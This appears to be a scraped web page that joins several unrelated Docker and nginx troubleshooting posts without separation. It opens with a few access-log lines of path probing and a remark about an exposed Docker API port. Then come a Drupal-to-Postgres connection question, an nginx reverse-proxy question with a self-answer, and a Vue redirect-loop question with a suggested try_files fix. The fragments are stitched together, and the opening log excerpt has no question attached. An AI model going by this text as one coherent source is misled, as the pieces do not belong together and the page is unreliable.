172.17.0.1 - - [10/Oct/2021:09:16:30 +0000] "GET /admin/controller/extension/extension/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:16:41 +0000] "GET /uploads/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:16:50 +0000] "GET /images/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:17:02 +0000] "GET /files/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
It is very likely that the docker REST API port 2375 was used.
https://www.bleepingcomputer.com/news/security/teamtnt-hackers-target-your-poorly-configured-docker-servers/
I am following a UDemy course on Docker and have to set up drupal which I can access. However, it cannot find the postgres container. Drupal gives me this error:
Failed to connect to your database server. The server reports the following message: SQLSTATE[08006] [7] could not connect to server: Connection refused Is the server running on host "postgres" (172.18.0.3) and accepting TCP/IP connections on port 5432?.
Both containers are on the default network.
The username, database name, host is postgres, the password is example. The port I'm using is 5432. What do I not understand? Alos, why do have to list the volumes again in the bottom of the compose file?
1 version: '3.3'
2
3 services:
4 drupal:
5 image: drupal:latest
6 ports:
7 - 80:80
8 volumes:
9 - drupal_modules:/var/www/html/modules
10 - drupal_profiles:/var/www/html/profiles
11 - drupal_themes:/var/www/html/themes
12 - drupal_sites:/var/www/html/sites
13 restart: always
14
15 postgres:
16 image: postgres:10
17 environment:
18 POSTGRES_PASSWORD: example
19 restart: always
20
21 volumes:
22 drupal_modules:
23 drupal_profiles:
24 drupal_themes:
25 drupal_sites:
26 db_data:
The dockerfile is
FROM drupal:latest
Postgres container log
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 13:59:53.867543 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 13:59:53.867733 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
Drupal log
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 00:35:44.074037 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 00:35:44.075675 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
75.173.77.33 - - [07/May/2020:00:36:31 +0000] "GET / HTTP/1.1" 302 609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:35 +0000] "GET /core/install.php HTTP/1.1" 200 4289 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:32 +0000] "GET /core/install.php HTTP/1.1" 200 4290 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:42 +0000] "GET /core/misc/icons/333333/caret-down.svg HTTP/1.1" 200 490 "http://hardrock3022c.mylabserver.com/core/themes/seven/css/components/form.css?0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:42 +0000] "GET /core/misc/favicon.ico HTTP/1.1" 200 5731 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:44 +0000] "POST /core/install.php HTTP/1.1" 302 883 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:44 +0000] "GET /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 200 3135 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:45 +0000] "GET /core/misc/icons/e29700/warning.svg HTTP/1.1" 200 701 "http://hardrock3022c.mylabserver.com/core/themes/classy/css/components/messages.css?0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:47 +0000] "POST /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 302 984 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:36:48 +0000] "GET /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4057 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:37:51 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4459 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:38:33 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4445 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:27 +0000] "GET / HTTP/1.1" 302 609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:27 +0000] "GET /core/install.php HTTP/1.1" 200 4288 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:30 +0000] "POST /core/install.php HTTP/1.1" 302 883 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:30 +0000] "GET /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 200 3129 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:33 +0000] "POST /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 302 984 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:43:33 +0000] "GET /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4071 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:45:08 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4444 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
[Thu May 07 00:48:59.878165 2020] [mpm_prefork:notice] [pid 1] AH00170: caught SIGWINCH, shutting down gracefully
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 00:51:09.502463 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 00:51:09.520331 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
75.173.77.33 - - [07/May/2020:00:51:13 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4437 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:51:19 +0000] "GET /core/misc/favicon.ico HTTP/1.1" 200 5732 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:00:51:32 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4444 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
83.97.20.29 - - [07/May/2020:01:32:41 +0000] "GET / HTTP/1.0" 302 603 "-" "-"
[Thu May 07 02:46:16.660497 2020] [mpm_prefork:notice] [pid 1] AH00170: caught SIGWINCH, shutting down gracefully
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 04:17:22.474464 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 04:17:22.475579 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
[Thu May 07 04:18:58.323031 2020] [mpm_prefork:notice] [pid 1] AH00170: caught SIGWINCH, shutting down gracefully
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message
[Thu May 07 13:38:08.126458 2020] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.25 (Debian) PHP/7.3.17 configured -- resuming normal operations
[Thu May 07 13:38:08.128021 2020] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
75.173.77.33 - - [07/May/2020:14:07:48 +0000] "GET / HTTP/1.1" 302 609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:07:48 +0000] "GET /core/install.php HTTP/1.1" 200 4295 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:07:51 +0000] "GET /core/install.php HTTP/1.1" 200 4282 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:07:57 +0000] "POST /core/install.php HTTP/1.1" 302 883 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:07:57 +0000] "GET /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 200 3129 "http://hardrock3022c.mylabserver.com/core/install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:08:00 +0000] "POST /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 302 984 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:08:00 +0000] "GET /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4062 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:22:25 +0000] "POST /core/install.php?rewrite=ok&langcode=en&profile=standard HTTP/1.1" 200 4445 "http://hardrock3022c.mylabserver.com/core/install.php?rewrite=ok&langcode=en&profile=standard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
75.173.77.33 - - [07/May/2020:14:22:27 +0000] "GET /core/misc/icons/e32700/error.svg HTTP/1.1" 200 968 "http://hardrock3022c.mylabserver.com/core/themes/classy/css/components/messages.css?0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
I am trying to develop an Nginx reverse proxy using docker-compose. I may not be able to state the problem correctly but I am posting the code and error. When I try to proxy to one service, the proxy works but nothing is displayed on the browser.
Here's my nginx.conf :
worker_processes 1;
events { worker_connections 1024; }
http {
sendfile on;
upstream docker-nginx {
server react-app:80;
}
server {
listen 62106;
server_name http://10.1.40.24;
location /try {
rewrite ^/try(.*)$ $1 break;
proxy_pass http://docker-nginx/;
}
}
}
Here's my docker-compose file:
version: '3.5'
services:
react-app:
build:
context: ./my-app
cache_from:
- nginx:alpine
ports:
- "62101:80"
image: app-react-uat:latest
networks:
my-network:
aliases:
- perfreview
server-app:
build:
context: ./Flask
cache_from:
- python:3-slim
environment:
- ENV = production
- PORT = 62102
ports:
- "62102:62102"
image: flask-py-app-uat:latest
nginx-reverse:
build:
context: ./nginx
cache_from:
- nginx:alpine
ports:
- "62106:62106"
depends_on:
- react-app
networks:
- my-network
networks:
my-network:
Here's the error message:
react-app_1 | 172.28.0.3 - - [03/Sep/2019:04:07:03 +0000] "GET / HTTP/1.0" 200 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76. 0.3809.132 Safari/537.36" "-"
nginx-reverse_1 | 10.1.20.45 - - [03/Sep/2019:04:07:03 +0000] "GET /try/ HTTP/1.1" 200 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome /76.0.3809.132 Safari/537.36"
nginx-reverse_1 | 2019/09/03 04:07:03 [error] 6#6: *12 open() "/etc/nginx/html/static/css/main.c0c280ad.css" failed (2: No such file or directory), client: 10.1.20.45, server: http:// 10.1.40.24, request: "GET /static/css/main.c0c280ad.css HTTP/1.1", host: "10.1.40.24:62106", referrer: "http://10.1.40.24:62106/try/"
nginx-reverse_1 | 10.1.20.45 - - [03/Sep/2019:04:07:03 +0000] "GET /static/css/main.c0c280ad.css HTTP/1.1" 404 555 "http://10.1.40.24:62106/try/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
nginx-reverse_1 | 2019/09/03 04:07:03 [error] 6#6: *13 open() "/etc/nginx/html/static/js/main.5a0e26e5.js" failed (2: No such file or directory), client: 10.1.20.45, server: http://10 .1.40.24, request: "GET /static/js/main.5a0e26e5.js HTTP/1.1", host: "10.1.40.24:62106", referrer: "http://10.1.40.24:62106/try/"
nginx-reverse_1 | 10.1.20.45 - - [03/Sep/2019:04:07:03 +0000] "GET /static/js/main.5a0e26e5.js HTTP/1.1" 404 555 "http://10.1.40.24:62106/try/" "Mozilla/5.0 (Windows NT 10.0; Win64; x 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
nginx-reverse_1 | 10.1.20.45 - - [03/Sep/2019:04:07:30 +0000] "GET /static/css/main.c0c280ad.css HTTP/1.1" 404 555 "http://10.1.40.24:62106/try/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
nginx-reverse_1 | 2019/09/03 04:07:30 [error] 6#6: *13 open() "/etc/nginx/html/static/css/main.c0c280ad.css" failed (2: No such file or directory), client: 10.1.20.45, server: http:// 10.1.40.24, request: "GET /static/css/main.c0c280ad.css HTTP/1.1", host: "10.1.40.24:62106", referrer: "http://10.1.40.24:62106/try/"
Any help would be grateful. Thank you!
So, I found out the reason behind the error and a way to solve it. Basically, the files of react-app container were not being shared with the reverse-proxy container. Consequently, I used volumes to come around this and set alias to the location of the mounted part in the location part of the config file. Here's the new nginx.conf:
server {
listen 62106;
server_name http://10.1.40.24;
#charset koi8-r;
#access_log /var/log/nginx/host.access.log main;
location /perfreview/ {
alias /usr/share/nginx/html/prs;
proxy_pass http://react-app:80/;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
Hope this helps someone someday!
I am building a vue.js app which I want to serve using nginx. However, it fails with the error ERR_TOO_MANY_REDIRECTS.
In the beginning nginx tried to redirect to port 80 when the external port was 8000. That's why I added the line absolute_redirect off; to the config. However, this only caused a redirect loop:
172.17.0.1 - - [02/Jan/2019:15:24:24 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"
172.17.0.1 - - [02/Jan/2019:15:24:24 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"
172.17.0.1 - - [02/Jan/2019:15:24:24 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"
172.17.0.1 - - [02/Jan/2019:15:24:24 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"
172.17.0.1 - - [02/Jan/2019:15:24:24 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"
172.17.0.1 - - [02/Jan/2019:15:24:24 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"
172.17.0.1 - - [02/Jan/2019:15:24:24 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"
Here's the /etc/nginx/nginx.conf file:
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile off;
keepalive_timeout 60;
# gzip on;
include /etc/nginx/conf.d/*.conf;
}
And here is the website config:
server {
absolute_redirect off;
port_in_redirect off;
location / {
root /usr/share/nginx/html/;
try_files / /index.html;
}
}
What am I missing here?
try_files / /index.html;
This loops back to your location /, change it to try_files $uri $uri/ /index.html =404; should solve your problem